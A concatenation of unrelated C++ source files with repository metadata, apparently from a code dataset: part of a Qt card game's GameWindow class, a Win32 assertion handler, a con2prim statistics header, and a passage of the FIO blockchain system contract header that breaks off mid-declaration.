myWidget.push_back(cardWidgetMap[myCards.at(i)]);
myWidget.at(i)->setOwner(myPlayer);
myWidget.at(i)->raise();
myWidget.at(i)->move(myCardWidthStartPos + (i-len/2-1)*cardWidthSpace, myCardHeightStartPos);
myWidget.at(i)->show();
}
}
void GameWindow::showRemLandLordCard(QString status){
for (int i=0; i < restThreeCards.size(); i++) {
restThreeCards.at(i)->raise();
if (status == "hidden")
restThreeCards.at(i)->setFront(false);
else{
restThreeCards.at(i)->setFront(true);
if(gameControl->getPlayerA()->getIsLandLord())
showMyCard(gameControl->getPlayerA());
else if(gameControl->getPlayerB()->getIsLandLord())
showOtherPlayerCard(gameControl->getPlayerB(), "right");
else if(gameControl->getPlayerC()->getIsLandLord())
showOtherPlayerCard(gameControl->getPlayerC(), "left");
}
restThreeCards.at(i)->move(remCardWidthStartPos + i*cardRemSpace, remCardHeightStartPos);
restThreeCards.at(i)->show();
}
if (status == "show"){
QTimer::singleShot(1200, this, [=](){
myBetInfo->hide();
rightBetInfo->hide();
leftBetInfo->hide();
startGame();
});
}
}
void GameWindow::call4Landlord(){
betNoBtn->show();
bet1Btn->show();
bet2Btn->show();
bet3Btn->show();
}
void GameWindow::startGame(){//TODO
//qDebug() << (gameControl->getCurrentPlayer() == gameControl->getPlayerA());
//if(gameControl->getCurrentPlayer() == gameControl->getPlayerA()){
passBtn->show();
playBtn->show();
//}
}
void GameWindow::onBetNoBtnClicked(){
qDebug() << "my no bet";
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(0);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(0);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(0);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(0);
});
qDebug() << "No bet!";
}
void GameWindow::onBet1BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(1);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(1);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(1);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(1);
});
qDebug() << "1 Point!";
}
void GameWindow::onBet2BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(2);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(2);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(2);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(2);
});
qDebug() << "2 Points!";
}
void GameWindow::onBet3BtnClicked(){
if(gameControl->getPlayerA()->getIsPerson()){
gameControl->getPlayerA()->setBetPoints(3);
}
else if(gameControl->getPlayerB()->getIsPerson()){
gameControl->getPlayerB()->setBetPoints(3);
}
else if(gameControl->getPlayerC()->getIsPerson()){
gameControl->getPlayerC()->setBetPoints(3);
}
QTimer::singleShot(10, this, [=](){
betNoBtn->hide();
bet1Btn->hide();
bet2Btn->hide();
bet3Btn->hide();
gameControl->updateBetPoints(3);
});
qDebug() << "3 Points!";
}
void GameWindow::cardSelected(Qt::MouseButton mouseButton){
CardWidget* cardWidget = (CardWidget*)sender();
Player* player = cardWidget->getOwner();
if(mouseButton == Qt::LeftButton){
cardWidget->setIsSelected(!cardWidget->getIsSelected()); // switch statu
if(player == gameControl->getPlayerA())
showMySelectedCard(player);
// int i;
// for(i=0; i < player->getSelectCards().size(); i++){
// if(player->getSelectCards().at(i) == cardWidget->getCard())
// break;
// }
// if(i < player->getSelectCards().size())
// player->getSelectCards().remove(i);
// else if(i == player->getSelectCards().size())
// player->getSelectCards().push_back(cardWidget->getCard());
}
}
void GameWindow::showMySelectedCard(Player* player){//TODO
CardWidget* selectedWidget;
for(int i=0; i < player->getHandCards().size(); i++){
selectedWidget = cardWidgetMap[player->getHandCards().at(i)];
if(selectedWidget->getIsSelected())
selectedWidget->move(selectedWidget->x(), myCardHeightStartPos - cardSelectedShift);
else
selectedWidget->move(selectedWidget->x(), myCardHeightStartPos);
}
}
void GameWindow::onBetPointsCall(Player* player){
if(player->getIsPerson()){
int betPoints = player->getBetPoints();
if (betPoints == 0)
myBetInfo->setText("No!");
else if(betPoints == 1)
myBetInfo->setText("1 Point!");
else
myBetInfo->setText(QString::number(betPoints) + " Points!");
myBetInfo->show();
}
else{
if(gameControl->getPlayerB() == player){
int betPoints = player->getBetPoints();
if (betPoints == 0)
rightBetInfo->setText("No!");
else if(betPoints == 1)
rightBetInfo->setText("1 Point!");
else
rightBetInfo->setText(QString::number(betPoints) + " Points!");
rightBetInfo->show();
}
else{
int betPoints = player->getBetPoints();
if (betPoints == 0)
leftBetInfo->setText("No!");
else if(betPoints == 1)
leftBetInfo->setText("1 Point!");
else
leftBetInfo->setText(QString::number(betPoints) + " Points!");
leftBetInfo->show();
}
}
qDebug() << "betInfo";
}
void GameWindow::playCards(){
QVector<Card> selectedCards;
QVector<Card> handCards;
QVector<int> idx;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
qDebug() << handCards.size();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
if(cardWidget->getIsSelected()){
selectedCards.push_back(handCards.at(i));
idx.push_back(i);
}
}
for(int i=0; i < idx.size(); i++){
handCards.remove(idx.at(i) - i);
}
gameControl->getCurrentPlayer()->resetSelectCards(selectedCards);
//playerA->selectedCard()->checkali(gmctl->punchcard)
// wait bool: successful -> animation, failed -> error msgbox/qlabel
// slots: robot display
CardGroups cg = CardGroups(selectedCards);
qDebug() << gameControl->getCurrentCombo().getCards().size();
if(gameControl->getCurrentPlayer()->getSelectCards().canBeat(gameControl->getCurrentCombo())
|| gameControl->getCurrentPlayer() == gameControl->getEffectivePlayer()){ //pending: canBeat! You win in the last cycle!
qDebug() << gameControl->getCurrentCombo().getCards().size();
gameControl->getCurrentPlayer()->resetHandCards(handCards);
showPlayCard();
gameControl->onPlayerHand(gameControl->getCurrentPlayer(), cg);
}
else{
selectedCards.clear();
gameControl->getCurrentPlayer()->resetSelectCards(selectedCards);
playInfo->setText("Combo Invalid!");
playInfo->show();
showPlayCard();
QTimer::singleShot(600, this, [=](){
playInfo->hide();
});
}
}
void GameWindow::showPlayCard(){
qDebug() << "++++++++++++++++++++++++";
qDebug() << gameControl->getPlayerA()->getHandCards().size();
if(gameControl->getCurrentPlayer() == gameControl->getPlayerA()){
// check whether is empty
if(gameControl->getPlayerA()->getSelectCards().getCards().isEmpty()){
QVector<Card> handCards;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
cardWidget->setIsSelected(false);
}
showMyCard(gameControl->getPlayerA());
return;
}
else
showMyCard(gameControl->getPlayerA());
}
else if(gameControl->getCurrentPlayer() == gameControl->getPlayerB())
showOtherPlayerCard(gameControl->getCurrentPlayer(), "right");
else
showOtherPlayerCard(gameControl->getCurrentPlayer(), "left");
// show selected cards
Card selectCard;
CardWidget* cardWidget;
int len = gameControl->getCurrentPlayer()->getSelectCards().getCards().size();
for(int i=0; i < len; i++){
selectCard = gameControl->getCurrentPlayer()->getSelectCards().getCards().at(i);
cardWidget = cardWidgetMap[selectCard];
cardWidget->raise();
cardWidget->move(myCardZone.x() + (i-len/2-1)*myCardZoneWidthSpace, myCardZone.y());
cardWidget->show();
}
passBtn->hide();
playBtn->hide();
}
void GameWindow::passCards(){
QVector<Card> handCards;
CardWidget* cardWidget;
handCards = gameControl->getCurrentPlayer()->getHandCards();
for(int i=0; i < handCards.size(); i++){
cardWidget = cardWidgetMap[handCards.at(i)];
cardWidget->setIsSelected(false);
}
if(gameControl->getCurrentPlayer() == gameControl->getPlayerA())
showMyCard(gameControl->getPlayerA());
else if(gameControl->getCurrentPlayer() == gameControl->getPlayerB())
showOtherPlayerCard(gameControl->getCurrentPlayer(), "right");
else
showOtherPlayerCard(gameControl->getCurrentPlayer(), "left");
CardGroups cg;
gameControl->onPlayerHand(gameControl->getCurrentPlayer(),cg);
passInfo->setText("PASS!");
passInfo->show();
passBtn->hide();
playBtn->hide();
// QTimer::singleShot(600, this, [=](){
// passInfo->hide();
// });
}
void GameWindow::otherPlayerShowCards(Player* player, CardGroups cards){
if(player == gameControl->getPlayerB()){
showOtherPlayerCard(player, "right");
showOtherPlayerPlayCard(player, cards, "right");
}
else if(player == gameControl->getPlayerC()){
showOtherPlayerCard(player, "left");
showOtherPlayerPlayCard(player, cards, "left");
}
}
void GameWindow::showOtherPlayerPlayCard(Player* otherPlayer, CardGroups cards, const QString status){
//qDebug() << "666";
if(status == "right"){
if(cards.getCards().size() == 0){
rightPassInfo->setText("Pass!");
rightPassInfo->show();
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cards.getCards().size(); i++){
card = cards.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->setFront(true);
cardWidget->raise();
cardWidget->move(rightCardZone.x(), rightCardZone.y() + i*rightCardZoneHeightSpace);
cardWidget->show();
}
}
}
else{
if(cards.getCards().size() == 0){
leftPassInfo->setText("Pass!");
leftPassInfo->show();
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cards.getCards().size(); i++){
card = cards.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->setFront(true);
cardWidget->raise();
cardWidget->move(leftCardZone.x(), leftCardZone.y() + i*leftCardZoneHeightSpace);
cardWidget->show();
}
}
}
}
void GameWindow::myPlayerShowButton(Player* player){
qDebug() << "hide card";
//QTimer::singleShot(1000, this, [=](){
if(player == gameControl->getPlayerA()){
if (gameControl->getEffectivePlayer() != player)
passBtn->show();
playBtn->show();
}
CardGroups cardGroup = player->lastCards; //pending
if(cardGroup.getCards().size() == 0){
if(player == gameControl->getPlayerB())
rightPassInfo->hide();
else if(player == gameControl->getPlayerC()){
leftPassInfo->hide();
}
else{
passInfo->hide();
}
}
else{
Card card;
CardWidget* cardWidget;
for(int i=0; i < cardGroup.getCards().size(); i++){
card = cardGroup.getCards().at(i);
cardWidget = cardWidgetMap[card];
cardWidget->hide();
}
}
//});
}
void GameWindow::showEndStatus(Player* player){
playInfo->hide();
leftPassInfo->hide();
rightPassInfo->hide();
myStatusInfo->setText("Lose!");
leftStatusInfo->setText("Lose!");
rightStatusInfo->setText("Lose!");
if(player == gameControl->getPlayerA())
myStatusInfo->setText("Win!");
else if(player == gameControl->getPlayerB())
rightStatusInfo->setText("Win!");
else
leftStatusInfo->setText("Win!");
myStatusInfo->show();
leftStatusInfo->show();
rightStatusInfo->show();
QTimer::singleShot(100, this, [=](){
if(player == gameControl->getPlayerA())
QMessageBox::information(this, tr("Result"), QString("You Win!"));
else
QMessageBox::information(this, tr("Result"), QString("You Lose!"));
});
//startBtn->show();
}
void GameWindow::paintEvent(QPaintEvent *)
{
QPainter painter(this);
QPixmap pix;
pix.load("../picture/game_scene.PNG");
painter.drawPixmap(0, 0, this->width(), this->height(), pix);
}
GameControl* GameWindow::getgameControl(){
return this->gameControl;
}
| 32.175936 | 133 | 0.606166 | jerrykeung666 |
e74bf66b45338953172e6ad932e6be3302577ba9 | 793 | cpp | C++ | harfang/platform/win32/assert.cpp | harfang3dadmin/harfang3d | b4920c18fd53cdab6b3a08f262bd4844364829b4 | [
"BSD-2-Clause"
] | 43 | 2021-10-16T06:33:48.000Z | 2022-03-25T07:55:46.000Z | harfang/platform/win32/assert.cpp | harfang3dadmin/harfang3d | b4920c18fd53cdab6b3a08f262bd4844364829b4 | [
"BSD-2-Clause"
] | 1 | 2022-01-25T09:21:47.000Z | 2022-01-25T20:50:01.000Z | harfang/platform/win32/assert.cpp | harfang3dadmin/harfang3d | b4920c18fd53cdab6b3a08f262bd4844364829b4 | [
"BSD-2-Clause"
] | 8 | 2021-10-14T08:49:20.000Z | 2022-03-04T21:54:33.000Z | #include "foundation/string.h"
#include "platform/call_stack.h"
#include <sstream>
#define WINDOWS_LEAN_AND_MEAN
#include <Windows.h>
namespace hg {
void win32_trigger_assert(const char *source, int line, const char *function, const char *condition, const char *message) {
std::ostringstream description;
description << "ASSERT(" << condition << ") failed!\n\nFile: " << source << "\nLine " << line << " in function '" << function << "'\n";
if (message)
description << "\nDetail: " << message << "\n";
CallStack callstack;
CaptureCallstack(callstack);
description << "\nCallstack:\n" << to_string(callstack);
MessageBoxW(nullptr, utf8_to_wchar(description.str()).c_str(), L"Assertion failed", MB_ICONSTOP);
#if _DEBUG || MIXED_RELEASE
DebugBreak();
#endif
}
} // namespace hg
| 28.321429 | 136 | 0.699874 | harfang3dadmin |
e74c914181e971be9b31e7d001d4ff04f03e2afa | 1,466 | hpp | C++ | src/fluid/con2prim_statistics.hpp | lanl/phoebus | c570f42882c1c9e01e3bfe4b00b22e15a7a9992b | [
"BSD-3-Clause"
] | 3 | 2022-03-24T22:09:12.000Z | 2022-03-29T23:16:21.000Z | src/fluid/con2prim_statistics.hpp | lanl/phoebus | c570f42882c1c9e01e3bfe4b00b22e15a7a9992b | [
"BSD-3-Clause"
] | 8 | 2022-03-15T20:49:43.000Z | 2022-03-29T17:45:04.000Z | src/fluid/con2prim_statistics.hpp | lanl/phoebus | c570f42882c1c9e01e3bfe4b00b22e15a7a9992b | [
"BSD-3-Clause"
] | null | null | null | // © 2022. Triad National Security, LLC. All rights reserved. This
// program was produced under U.S. Government contract
// 89233218CNA000001 for Los Alamos National Laboratory (LANL), which
// is operated by Triad National Security, LLC for the U.S.
// Department of Energy/National Nuclear Security Administration. All
// rights in the program are reserved by Triad National Security, LLC,
// and the U.S. Department of Energy/National Nuclear Security
// Administration. The Government is granted for itself and others
// acting on its behalf a nonexclusive, paid-up, irrevocable worldwide
// license in this material to reproduce, prepare derivative works,
// distribute copies to the public, perform publicly and display
// publicly, and to permit others to do so.
#ifndef FLUID_CON2PRIM_STATISTICS_HPP_
#define FLUID_CON2PRIM_STATISTICS_HPP_
#include <cstdio>
#include <map>
namespace con2prim_statistics {
class Stats {
public:
static std::map<int, int> hist;
static int max_val;
static void add(int val) {
if (hist.count(val) == 0) {
hist[val] = 1;
} else {
hist[val]++;
}
max_val = (val > max_val ? val : max_val);
}
static void report() {
auto f = fopen("c2p_stats.txt", "w");
for (int i = 0; i <= max_val; i++) {
int cnt = 0;
if (hist.count(i) > 0) cnt = hist[i];
fprintf(f, "%d %d\n", i, cnt);
}
}
private:
Stats() = default;
};
} // namespace con2prim_statistics
#endif
| 29.32 | 70 | 0.688267 | lanl |
e74d26624a5a1483039164e149f83001210c6637 | 19,441 | hpp | C++ | contracts/fio.system/include/fio.system/fio.system.hpp | tvl83/fio.contracts | 3128dcfca52b7f37a4242d68a54c04526787ca4a | [
"MIT"
] | 1 | 2021-06-06T02:27:00.000Z | 2021-06-06T02:27:00.000Z | contracts/fio.system/include/fio.system/fio.system.hpp | baby636/fio.contracts | 0295e80fdd737babce64d28fa530e976a2ba3517 | [
"MIT"
] | null | null | null | contracts/fio.system/include/fio.system/fio.system.hpp | baby636/fio.contracts | 0295e80fdd737babce64d28fa530e976a2ba3517 | [
"MIT"
] | null | null | null | /** Fio system contract file
* Description: fio.system contains global state, producer, voting and other system level information along with
* the operations on these.
* @author Adam Androulidakis, Casey Gardiner, Ed Rotthoff
* @file fio.system.hpp
* @license FIO Foundation ( https://github.com/fioprotocol/fio/blob/master/LICENSE ) Dapix
*
* Changes:
*/
#pragma once
#include <eosiolib/asset.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/privileged.hpp>
#include <eosiolib/singleton.hpp>
#include <fio.address/fio.address.hpp>
#include <eosiolib/transaction.hpp>
#include <fio.fee/fio.fee.hpp>
#include "native.hpp"
#include <string>
#include <deque>
#include <type_traits>
#include <optional>
namespace eosiosystem {
using eosio::name;
using eosio::asset;
using eosio::symbol;
using eosio::symbol_code;
using eosio::indexed_by;
using eosio::const_mem_fun;
using eosio::block_timestamp;
using eosio::time_point;
using eosio::time_point_sec;
using eosio::microseconds;
using eosio::datastream;
using eosio::check;
template<typename E, typename F>
static inline auto has_field(F flags, E field)
-> std::enable_if_t<std::is_integral_v < F> &&
std::is_unsigned_v <F> &&
std::is_enum_v<E>
&& std::is_same_v <F, std::underlying_type_t<E>>, bool> {
return ((flags & static_cast
<F>(field)
) != 0 );
}
template<typename E, typename F>
static inline auto set_field(F flags, E field, bool value = true)
-> std::enable_if_t<std::is_integral_v < F> &&
std::is_unsigned_v <F> &&
std::is_enum_v<E>
&& std::is_same_v <F, std::underlying_type_t<E>>, F >
{
if( value )
return ( flags | static_cast
<F>(field)
);
else
return (
flags &~
static_cast
<F>(field)
);
}
struct [[eosio::table("global"), eosio::contract("fio.system")]] eosio_global_state : eosio::blockchain_parameters {
block_timestamp last_producer_schedule_update;
time_point last_pervote_bucket_fill;
int64_t pervote_bucket = 0;
int64_t perblock_bucket = 0;
uint32_t total_unpaid_blocks = 0; /// all blocks which have been produced but not paid
int64_t total_voted_fio = 0;
time_point thresh_voted_fio_time;
uint16_t last_producer_schedule_size = 0;
double total_producer_vote_weight = 0; /// the sum of all producer votes
block_timestamp last_name_close;
block_timestamp last_fee_update;
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE_DERIVED( eosio_global_state, eosio::blockchain_parameters,
(last_producer_schedule_update)(last_pervote_bucket_fill)
(pervote_bucket)(perblock_bucket)(total_unpaid_blocks)(total_voted_fio)(thresh_voted_fio_time)
(last_producer_schedule_size)(total_producer_vote_weight)(last_name_close)(last_fee_update)
)
};
/**
* Defines new global state parameters added after version 1.0
*/
struct [[eosio::table("global2"), eosio::contract("fio.system")]] eosio_global_state2 {
eosio_global_state2() {}
block_timestamp last_block_num; /* deprecated */
double total_producer_votepay_share = 0;
uint8_t revision = 0; ///< used to track version updates in the future.
EOSLIB_SERIALIZE( eosio_global_state2,(last_block_num)
(total_producer_votepay_share)(revision)
)
};
struct [[eosio::table("global3"), eosio::contract("fio.system")]] eosio_global_state3 {
eosio_global_state3() {}
time_point last_vpay_state_update;
double total_vpay_share_change_rate = 0;
EOSLIB_SERIALIZE( eosio_global_state3, (last_vpay_state_update)(total_vpay_share_change_rate)
)
};
//these locks are used for investors and emplyees and members who have grants upon integration.
//this table holds the list of FIO accounts that hold locked FIO tokens
struct [[eosio::table, eosio::contract("fio.system")]] locked_token_holder_info {
name owner;
uint64_t total_grant_amount = 0;
uint32_t unlocked_period_count = 0; //this indicates time periods processed and unlocked thus far.
uint32_t grant_type = 0; //1,2 see FIO spec for details
uint32_t inhibit_unlocking = 0;
uint64_t remaining_locked_amount = 0;
uint32_t timestamp = 0;
uint64_t primary_key() const { return owner.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( locked_token_holder_info, (owner)(total_grant_amount)
(unlocked_period_count)(grant_type)(inhibit_unlocking)(remaining_locked_amount)(timestamp)
)
};
typedef eosio::multi_index<"lockedtokens"_n, locked_token_holder_info>
locked_tokens_table;
//begin general locks, these locks are used to hold tokens granted by any fio user
//to any other fio user.
struct glockresult {
bool lockfound = false; //did we find a general lock.
uint64_t amount; //amount votable
EOSLIB_SERIALIZE( glockresult, (lockfound)(amount))
};
struct lockperiods {
int64_t duration = 0; //duration in seconds. each duration is seconds after grant creation.
double percent; //this is the percent to be unlocked
EOSLIB_SERIALIZE( lockperiods, (duration)(percent))
};
struct [[eosio::table, eosio::contract("fio.system")]] locked_tokens_info {
int64_t id; //this is the identifier of the lock, primary key
name owner_account; //this is the account that owns the lock, secondary key
int64_t lock_amount = 0; //this is the amount of the lock in FIO SUF
int32_t payouts_performed = 0; //this is the number of payouts performed thus far.
int32_t can_vote = 0; //this is the flag indicating if the lock is votable/proxy-able
std::vector<lockperiods> periods;// this is the locking periods for the lock
int64_t remaining_lock_amount = 0; //this is the amount remaining in the lock in FIO SUF, get decremented as unlocking occurs.
uint32_t timestamp = 0; //this is the time of creation of the lock, locking periods are relative to this time.
uint64_t primary_key() const { return id; }
uint64_t by_owner() const{return owner_account.value;}
EOSLIB_SERIALIZE( locked_tokens_info, (id)(owner_account)
(lock_amount)(payouts_performed)(can_vote)(periods)(remaining_lock_amount)(timestamp)
)
};
typedef eosio::multi_index<"locktokens"_n, locked_tokens_info,
indexed_by<"byowner"_n, const_mem_fun < locked_tokens_info, uint64_t, &locked_tokens_info::by_owner> >
>
general_locks_table;
//end general locks
//Top producers that are calculated every block in update_elected_producers
struct [[eosio::table, eosio::contract("fio.system")]] top_prod_info {
name producer;
uint64_t primary_key() const { return producer.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( top_prod_info, (producer)
)
};
typedef eosio::multi_index<"topprods"_n, top_prod_info>
top_producers_table;
struct [[eosio::table, eosio::contract("fio.system")]] producer_info {
uint64_t id;
name owner;
string fio_address; //this is the fio address to be used for bundled fee collection
//for tx that are fee type bundled, just use the one fio address
//you want to have pay for the bundled fee transactions associated
//with this producer.
uint128_t addresshash;
double total_votes = 0;
eosio::public_key producer_public_key; /// a packed public key object
bool is_active = true;
std::string url;
uint32_t unpaid_blocks = 0;
time_point last_claim_time; //this is the last time a payout was given to this producer.
uint32_t last_bpclaim; //this is the last time bpclaim was called for this producer.
//init this to zero here to ensure that if the location is not specified, sorting will still work.
uint16_t location = 0;
uint64_t primary_key() const { return id; }
uint64_t by_owner() const{return owner.value;}
uint128_t by_address() const{return addresshash;}
double by_votes() const { return is_active ? -total_votes : total_votes; }
bool active() const { return is_active; }
void deactivate() {
producer_public_key = public_key();
is_active = false;
}
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( producer_info, (id)(owner)(fio_address)(addresshash)(total_votes)(producer_public_key)(is_active)(url)
(unpaid_blocks)(last_claim_time)(last_bpclaim)(location)
)
};
typedef eosio::multi_index<"producers"_n, producer_info,
indexed_by<"prototalvote"_n, const_mem_fun < producer_info, double, &producer_info::by_votes> >,
indexed_by<"byaddress"_n, const_mem_fun < producer_info, uint128_t, &producer_info::by_address> >,
indexed_by<"byowner"_n, const_mem_fun < producer_info, uint64_t, &producer_info::by_owner> >
>
producers_table;
struct [[eosio::table, eosio::contract("fio.system")]] voter_info {
uint64_t id; //one up id is primary key.
string fioaddress; //this is the fio address to be used for bundled fee collection
//for tx that are fee type bundled, just use the one fio address
//you want to have pay for the bundled fee transactions associated
//with this voter.
uint128_t addresshash; //this is the hash of the fio address for searching
name owner; /// the voter
name proxy; /// the proxy set by the voter, if any
std::vector <name> producers; /// the producers approved by this voter if no proxy set
/**
* Every time a vote is cast we must first "undo" the last vote weight, before casting the
* new vote weight. Vote weight is calculated as:
*
* stated.amount * 2 ^ ( weeks_since_launch/weeks_per_year)
*/
double last_vote_weight = 0; /// the vote weight cast the last time the vote was updated
/**
* Total vote weight delegated to this voter.
*/
double proxied_vote_weight = 0; /// the total vote weight delegated to this voter as a proxy
bool is_proxy = 0; /// whether the voter is a proxy for others
bool is_auto_proxy = 0;
uint32_t reserved2 = 0;
eosio::asset reserved3;
uint64_t primary_key() const{return id;}
uint128_t by_address() const {return addresshash;}
uint64_t by_owner() const { return owner.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( voter_info, (id)(fioaddress)(addresshash)(owner)(proxy)(producers)(last_vote_weight)(proxied_vote_weight)(is_proxy)(is_auto_proxy)(reserved2)(reserved3)
)
};
typedef eosio::multi_index<"voters"_n, voter_info,
indexed_by<"byaddress"_n, const_mem_fun<voter_info, uint128_t, &voter_info::by_address>>,
indexed_by<"byowner"_n, const_mem_fun<voter_info, uint64_t, &voter_info::by_owner>>
> voters_table;
//MAS-522 eliminate producers2 table typedef eosio::multi_index<"producers2"_n, producer_info2> producers_table2;
typedef eosio::singleton<"global"_n, eosio_global_state> global_state_singleton;
typedef eosio::singleton<"global2"_n, eosio_global_state2> global_state2_singleton;
typedef eosio::singleton<"global3"_n, eosio_global_state3> global_state3_singleton;
static constexpr uint32_t seconds_per_day = 24 * 3600;
class [[eosio::contract("fio.system")]] system_contract : public native {
private:
voters_table _voters;
producers_table _producers;
top_producers_table _topprods;
locked_tokens_table _lockedtokens;
general_locks_table _generallockedtokens;
//MAS-522 eliminate producers2 producers_table2 _producers2;
global_state_singleton _global;
global_state2_singleton _global2;
global_state3_singleton _global3;
eosio_global_state _gstate;
eosio_global_state2 _gstate2;
eosio_global_state3 _gstate3;
fioio::fionames_table _fionames;
fioio::domains_table _domains;
fioio::fiofee_table _fiofees;
fioio::eosio_names_table _accountmap;
public:
static constexpr eosio::name active_permission{"active"_n};
static constexpr eosio::name token_account{"fio.token"_n};
static constexpr eosio::name ram_account{"eosio.ram"_n};
static constexpr eosio::name ramfee_account{"eosio.ramfee"_n};
static constexpr eosio::name stake_account{"eosio.stake"_n};
static constexpr eosio::name bpay_account{"eosio.bpay"_n};
static constexpr eosio::name vpay_account{"eosio.vpay"_n};
static constexpr eosio::name names_account{"eosio.names"_n};
static constexpr eosio::name saving_account{"eosio.saving"_n};
static constexpr eosio::name null_account{"eosio.null"_n};
static constexpr symbol ramcore_symbol = symbol(symbol_code("FIO"),9);
system_contract(name s, name code, datastream<const char *> ds);
~system_contract();
// Actions:
[[eosio::action]]
void init(const unsigned_int &version, const symbol &core);
//this action inits the locked token holder table.
[[eosio::action]]
void addlocked(const name &owner, const int64_t &amount,
const int16_t &locktype);
[[eosio::action]]
void addgenlocked(const name &owner, const vector<lockperiods> &periods, const bool &canvote,const int64_t &amount);
[[eosio::action]]
void onblock(ignore <block_header> header);
// functions defined in delegate_bandwidth.cp
// functions defined in voting.cpp
[[eosio::action]]
void burnaction(const uint128_t &fioaddrhash);
[[eosio::action]]
void incram(const name &accountmn, const int64_t &amount);
[[eosio::action]]
void updlocked(const name &owner,const uint64_t &amountremaining);
[[eosio::action]]
void inhibitunlck(const name &owner,const uint32_t &value);
[[eosio::action]]
void unlocktokens(const name &actor);
void regiproducer(const name &producer, const string &producer_key, const std::string &url, const uint16_t &location,
const string &fio_address);
[[eosio::action]]
void regproducer(const string &fio_address, const string &fio_pub_key, const std::string &url, const uint16_t &location, const name &actor,
const int64_t &max_fee);
[[eosio::action]]
void unregprod(const string &fio_address, const name &actor, const int64_t &max_fee);
/*
[[eosio::action]]
void vproducer(const name &voter, const name &proxy, const std::vector<name> &producers); //server call
*/
[[eosio::action]]
void voteproducer(const std::vector<string> &producers, const string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void updatepower(const name &voter, bool updateonly);
[[eosio::action]]
void voteproxy(const string &proxy, const string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void setautoproxy(const name &proxy,const name &owner);
[[eosio::action]]
void crautoproxy(const name &proxy,const name &owner);
[[eosio::action]]
void unregproxy(const std::string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void regproxy(const std::string &fio_address, const name &actor, const int64_t &max_fee);
void regiproxy(const name &proxy, const string &fio_address, const bool &isproxy);
[[eosio::action]]
void setparams(const eosio::blockchain_parameters ¶ms);
// functions defined in producer_pay.cpp
[[eosio::action]]
void resetclaim(const name &producer);
//update last bpclaim time
[[eosio::action]]
void updlbpclaim(const name &producer);
[[eosio::action]]
void setpriv(const name &account,const uint8_t &is_priv);
[[eosio::action]]
void rmvproducer(const name &producer);
[[eosio::action]]
void updtrevision(const uint8_t &revision);
using init_action = eosio::action_wrapper<"init"_n, &system_contract::init>;
using regproducer_action = eosio::action_wrapper<"regproducer"_n, &system_contract::regproducer>;
using regiproducer_action = eosio::action_wrapper<"regiproducer"_n, &system_contract::regiproducer>;
using unregprod_action = eosio::action_wrapper<"unregprod"_n, &system_contract::unregprod>;
// using vproducer_action = eosio::action_wrapper<"vproducer"_n, &system_contract::vproducer>;
using voteproducer_action = eosio::action_wrapper<"voteproducer"_n, &system_contract::voteproducer>;
using voteproxy_action = eosio::action_wrapper<"voteproxy"_n, &system_contract::voteproxy>;
using regproxy_action = eosio::action_wrapper<"regproxy"_n, &system_contract::regproxy>;
using regiproxy_action = eosio::action_wrapper<"regiproxy"_n, &system_contract::regiproxy>;
using crautoproxy_action = eosio::action_wrapper<"crautoproxy"_n, &system_contract::crautoproxy>;
using rmvproducer_action = eosio::action_wrapper<"rmvproducer"_n, &system_contract::rmvproducer>;
using updtrevision_action = eosio::action_wrapper<"updtrevision"_n, &system_contract::updtrevision>;
using setpriv_action = eosio::action_wrapper<"setpriv"_n, &system_contract::setpriv>;
using setparams_action = eosio::action_wrapper<"setparams"_n, &system_contract::setparams>;
private:
// Implementation details:
//defined in fio.system.cpp
static eosio_global_state get_default_parameters();
static time_point current_time_point();
static time_point_sec current_time_point_sec();
static block_timestamp current_block_time();
// defined in delegate_bandwidth.cpp
void changebw(name from, name receiver,
asset stake_net_quantity, asset stake_cpu_quantity, bool transfer);
//void update_voting_power(const name &voter, const asset &total_update);
// defined in voting.hpp
void update_elected_producers(const block_timestamp& timestamp);
uint64_t get_votable_balance(const name &tokenowner);
glockresult get_general_votable_balance(const name &tokenowner);
void unlock_tokens(const name &actor);
void update_votes(const name &voter, const name &proxy, const std::vector <name> &producers, const bool &voting);
void propagate_weight_change(const voter_info &voter);
double update_total_votepay_share(time_point ct,
double additional_shares_delta = 0.0, double shares_rate_delta = 0.0);
